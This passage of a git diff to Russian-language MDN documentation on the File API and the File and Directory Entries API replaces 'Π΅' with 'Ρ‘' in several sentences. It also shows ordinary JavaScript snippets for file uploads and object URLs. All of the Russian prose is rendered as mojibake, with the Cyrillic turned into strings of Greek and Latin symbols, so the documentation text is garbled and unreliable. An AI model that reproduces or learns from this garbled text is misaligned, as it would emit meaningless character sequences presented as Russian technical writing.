<li>УстанавливаСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния для освобоТдСния URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‚.ΠΊ. послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния ΠΎΠ½ большС Π½Π΅ Π½ΡƒΠΆΠ΅Π½. Π­Ρ‚ΠΎ дСлаСтся Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{ domxref("window.URL.revokeObjectURL()") }}, пСрСдавая Π² Π½Π΅Π³ΠΎ строку URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, которая ΡƒΠΊΠ°Π·Π°Π½Π° Π² <code>img.src</code>.</li>
@@ -306,11 +306,11 @@ function handleFiles(files) {
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_Ρ„Π°ΠΉΠ»Π°_Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»Π°, Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</h2>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Ρ…ΠΎΡ‚Π΅Ρ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ (Ρ‚Π°ΠΊΠΈΠ΅, ΠΊΠ°ΠΊ изобраТСния ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°) Π½Π° сСрвСр. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ асинхронно довольно просто.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Ρ…ΠΎΡ‚Π΅Ρ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ (Ρ‚Π°ΠΊΠΈΠ΅, ΠΊΠ°ΠΊ изобраТСния ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°) Π½Π° сСрвСр. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ асинхронно довольно просто.</p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π·Π°Π΄Π°Π½ΠΈΠΉ_Π½Π°_Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π·Π°Π΄Π°Π½ΠΈΠΉ Π½Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ</h3>
-<p>ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ строил эскизы Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½Π°ΠΏΠΎΠΌΠ½ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ эскиза присвоСн класс CSS class <code>obj</code>, с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ {{ domxref("File") }}, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹ΠΌ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>file</code>. Π­Ρ‚ΠΎ позволяСт Π½Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ просто Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ всС изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹Π±Ρ€Π°Π» для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{ domxref("Document.querySelectorAll()") }}, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ здСсь:</p>
+<p>ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ строил эскизы Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½Π°ΠΏΠΎΠΌΠ½ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ эскиза присвоСн класс CSS class <code>obj</code>, с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ {{ domxref("File") }}, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹ΠΌ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>file</code>. Π­Ρ‚ΠΎ позволяСт Π½Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ просто Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ всС изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹Π±Ρ€Π°Π» для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{ domxref("Document.querySelectorAll()") }}, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ здСсь:</p>
<pre class="brush: js notranslate">function sendFiles() {
var imgs = document.querySelectorAll(".obj");
@@ -354,7 +354,7 @@ function handleFiles(files) {
reader.readAsBinaryString(file);
}</pre>
-<p>Ѐункция <code>FileUpload()</code>, показанная Π²Ρ‹ΡˆΠ΅, создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Throbber, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния Ρ…ΠΎΠ΄Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ создаСт {{ domxref("XMLHttpRequest") }} для управлСния Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Ѐункция <code>FileUpload()</code>, показанная Π²Ρ‹ΡˆΠ΅, создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Throbber, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния Ρ…ΠΎΠ΄Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ создаёт {{ domxref("XMLHttpRequest") }} для управлСния Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<p>ΠŸΠ΅Ρ€Π΅Π΄ Π½Π°Ρ‡Π°Π»ΠΎΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ нСсколько шагов для ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ:</p>
@@ -427,7 +427,7 @@ if (isset($_FILES['myFile'])) {
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ИспользованиС_URL_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²_для_отобраТСния_PDF">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: ИспользованиС URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² для отобраТСния PDF</h2>
-<p>URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ! Π’Π°ΠΊΠΆΠ΅ этот ΠΏΡ€ΠΈΠ΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… рСсурсов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ„Π°ΠΉΠ»Ρ‹ PDF.</p>
+<p>URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ! Π’Π°ΠΊΠΆΠ΅ этот ΠΏΡ€ΠΈΡ‘ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… рСсурсов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ„Π°ΠΉΠ»Ρ‹ PDF.</p>
<p>Π’ Firefox, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ„Π°ΠΉΠ» PDF появился Π² iframe ΠΈ Π½Π΅ прСдлагался для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <code>pdfjs.disabled</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>false</code> {{non-standard_inline()}}.</p>
@@ -443,7 +443,7 @@ window.URL.revokeObjectURL(obj_url);</pre>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ИспользованиС_URL_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²_с_Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ_Ρ‚ΠΈΠΏΠ°ΠΌΠΈ_Ρ„Π°ΠΉΠ»ΠΎΠ²">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: ИспользованиС URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²</h2>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠ°ΠΊ загруТаСтся Π²ΠΈΠ΄Π΅ΠΎ:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠ°ΠΊ загруТаСтся Π²ΠΈΠ΄Π΅ΠΎ:</p>
<pre class="brush: js notranslate">var video = document.getElementById('video');
var obj_url = window.URL.createObjectURL(blob);
diff --git a/files/ru/web/api/file_and_directory_entries_api/index.html b/files/ru/web/api/file_and_directory_entries_api/index.html
index 91bafe1bfb..76d7fe3a46 100644
--- a/files/ru/web/api/file_and_directory_entries_api/index.html
+++ b/files/ru/web/api/file_and_directory_entries_api/index.html
@@ -26,12 +26,12 @@ translation_of: Web/API/File_and_Directory_Entries_API
<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΄Π²Π° ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… API Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ асинхронного ΠΈΠ»ΠΈ синхронного повСдСния.Β Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ API ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π²Π½ΡƒΡ‚Ρ€ΠΈ {{domxref("Worker")}} ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΒ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹Π΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΡ. Асинхронный API Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, Π° API Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ значСния; вмСсто этого Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ².</p>
<div class="warning">
-<p>Firefox рСализация File System API ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°:Β Π½Π΅ поддСрТиваСтся созданиС Ρ„Π°ΠΉΠ»ΠΎΠ². Доступ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ осущСствляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Π΅Ρ€Π΅Π· {{HTMLElement("input")}} элСмСнт (см. Ρ‚Π°ΠΊ ΠΆΠ΅ {{domxref("HTMLInputElement")}}) ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ пСрСтаскивания Ρ„Π°ΠΉΠ»Π°/ΠΏΠ°ΠΏΠΊΠΈ (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ синхронный API.Β Π’Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для любой части API, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° File System APIΒ Π² Firefox</a>)</p>
+<p>Firefox рСализация File System API ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°:Β Π½Π΅ поддСрТиваСтся созданиС Ρ„Π°ΠΉΠ»ΠΎΠ². Доступ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ осущСствляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Π΅Ρ€Π΅Π· {{HTMLElement("input")}} элСмСнт (см. Ρ‚Π°ΠΊ ΠΆΠ΅ {{domxref("HTMLInputElement")}}) ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ пСрСтаскивания Ρ„Π°ΠΉΠ»Π°/ΠΏΠ°ΠΏΠΊΠΈ (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ синхронный API.Β Π’Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для любой части API, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° File System APIΒ Π² Firefox</a>)</p>
</div>
<h2 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_доступа_ΠΊ_Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ_систСмС">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ доступа ΠΊ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС</h2>
-<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° способа ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ файловой систСмС, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ спСцификации:</p>
+<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° способа ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ файловой систСмС, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ спСцификации:</p>
<ul>
<li>ΠŸΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ события {{event("drop")}} Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ {{domxref("DataTransferItem.webkitGetAsEntry()")}} Ρ‡Ρ‚ΠΎ Π±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ {{domxref("FileSystemEntry")}} для "Π±Ρ€ΠΎΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ" элСмСнта. Если Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π½Π΅Β <code>null</code>, Ρ‚ΠΎ это Π±Ρ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Ρ‹ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π½ΠΈΠΌ.</li>
@@ -52,9 +52,9 @@ translation_of: Web/API/File_and_Directory_Entries_API
<dt>{{domxref("FileSystemDirectoryEntry")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС.</dd>
<dt>{{domxref("FileSystemDirectoryReader")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интСрфСйс прСдоставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интСрфСйс прСдоставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°.</dd>
<dt>{{domxref("FileSystemFlags")}}</dt>
- <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ Ρ„Π»Π°Π³ΠΎΠ² ΠΎΠΏΡ†ΠΈΠΉ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π²Β <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd>
+ <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ Ρ„Π»Π°Π³ΠΎΠ² ΠΎΠΏΡ†ΠΈΠΉ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π²Β <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd>
<dt>{{domxref("FileError")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, которая Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Ρ… асинхронной Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы.</dd>
</dl>
@@ -63,7 +63,7 @@ translation_of: Web/API/File_and_Directory_Entries_API
<h2 id="Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ_API">Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ API</h2>
